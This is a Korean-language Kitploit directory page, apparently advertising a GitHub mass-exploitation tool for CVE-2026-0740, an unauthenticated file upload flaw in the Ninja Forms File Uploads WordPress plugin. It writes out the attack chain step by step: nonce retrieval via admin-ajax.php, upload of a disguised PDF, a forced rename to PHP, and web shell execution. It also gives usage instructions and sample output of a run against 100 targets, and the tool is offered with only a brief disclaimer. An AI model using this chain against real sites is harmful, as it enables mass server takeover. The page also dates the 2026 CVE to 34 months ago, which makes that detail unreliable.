Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-0740 — 자동화된 대량 익스플로이터로, Ninja Forms File Uploads 플러그인의 인증되지 않은 임의 파일 업로드 취약점인 CVE-2026-0740을 악용하여 조작된 업로드를 통해 원격 코드 실행을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/xshadow-here/cve-2026-0740
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubxshadow-here/cve-2026-0740

CVE-2026-0740

자동화된 대량 익스플로이터로, Ninja Forms File Uploads 플러그인의 인증되지 않은 임의 파일 업로드 취약점인 CVE-2026-0740을 악용하여 조작된 업로드를 통해 원격 코드 실행을 가능하게 합니다.

저장소 보기
34개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-0740 : Ninja Forms - File Upload <= 3.3.26 인증되지 않은 임의 파일 업로드.

설명 :

WordPress용 Ninja Forms - File Uploads 플러그인은 3.3.26을 포함한 모든 버전에서 'NF_FU_AJAX_Controllers_Uploads::handle_upload' 함수의 파일 유형 검증 누락 및 기능 검사 누락으로 인해 인증되지 않은 임의 파일 업로드에 취약합니다.

이 결함으로 인해 인증되지 않은 공격자는 다음을 수행할 수 있습니다:

  • 모든 field_id에 대한 유효한 nonce 생성.
  • 화이트리스트 우회 기법을 사용하여 임의 파일 업로드.
  • 화이트리스트 확장자(.pdf)에서 PHP 확장자로 서버 측 이름 변경 강제.
  • 업로드된 웹셸은 다음 위치에 저장됩니다: → /wp-content/uploads/ninja-forms/tmp/
  • 영향을 받는 서버에서 원격 코드 실행(RCE) 달성.

정보 : CVE-2026-0740

~ CVSS 점수: 9.8 (치명적)

~ 영향을 받는 버전: <= 3.3.26

  • 연구원 : Sélim Lanouar-(whattheslime)

공격 벡터

root@kitploit:~
1단계: Nonce 획득 
────────────────────────────────────
POST /wp-admin/admin-ajax.php
데이터: action=nf_fu_get_new_nonce&field_id=7&form_id=7

응답: {"success":true,"data":{"nonce":"7a850757a1"}}

              │
              ▼

2단계: 위장 파일 업로드 + PHP로 이름 변경
──────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
데이터:
- action=nf_fu_upload
- nonce=7a850757a1
- field_id=7
- form_id=7
- [email protected] (화이트리스트 확장자)
- doc_pdf=shadow.php (이름 변경 대상)

              │
              ▼

3단계: 서버가 악성 파일 저장
─────────────────────────────────────
위치: /wp-content/uploads/ninja-forms/tmp/shadow.php
내용: PHP 셸 (업로더 / 웹셸)

              │
              ▼

4단계: 업로드된 파일 실행
────────────────────────────────────
GET /wp-content/uploads/ninja-forms/tmp/shadow.php
→ 웹셸 실행
→ 전체 서버 장악
root@kitploit:~
- 현장 실험을 통한 결론:

1. `nf_fu_get_new_nonce` 엔드포인트는 필드 존재 여부를 확인하지 않고 유효한 nonce를 반환함
   → `field_id` 및 `form_id` 매개변수에 대한 검증 없음 (임의의 ID도 작동)

2. 이름 변경 기능의 치명적인 논리적 결함
   → 플러그인은 POST 매개변수를 통해 사용자가 제공한 파일명을 수락함
   → 이름 변경 후 최종 파일 확장자에 대한 검증 없음

3. 업로드된 파일은 웹에서 접근 가능한 디렉토리에 직접 저장됨
   → /wp-content/uploads/ninja-forms/tmp/

4. 이 도구의 소유자는 매우 잘생겼음

기능 :

  • nonce 자동 획득
  • 기본 ID로 익스플로잇
  • 오류 처리
  • 결과를 shell.txt에 자동 저장

사용법 :

  • 파일명이 list.txt이고 디렉토리에 있는지 확인
  • python/python3 shadow.py

출력 :

root@kitploit:~
˚⊱🪷⊰˚ NINJA FORMS MASS EXPLOITER ˚⊱🪷⊰˚
 ╰┈➤ 전체 응답 표시

[+] 100개 대상 로드됨

[1/100]
😈 [FRISKA RESEARCHER] 공격 대상: https://example.com
[*] nonce 획득 중...
[*] HTTP 상태: 400
[*] 응답: 0
[-] HTTP 오류: 400

[2/100]
😈 [FRISKA RESEARCHER] 공격 대상: https://www.test.com
[*] nonce 획득 중...
[*] HTTP 상태: 200
[*] 응답: {"success":true,"data":{"nonce":"b0404ec210","nonce_expiry":1775648146}}
[+] Nonce: b0404ec210
[*] 셸 업로드 중...
[*] 업로드 응답: {"data":{"files":[{"name":"doc.pdf","full_path":"doc.pdf","type":"application\/pdf","tmp_name":"shadow.php","error":0,"size":246,"new_tmp_key":"doc_pdf"}]},"errors":[],"debug":[]}

============================================================
🔥 SHELL UPLOADER: https://www.test.com/wp-content/uploads/ninja-forms/tmp/shadow.php
============================================================

이 도구는 교육 및 보안 테스트 목적으로만 사용됩니다.

소유하지 않았거나 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다.

도구 다운로드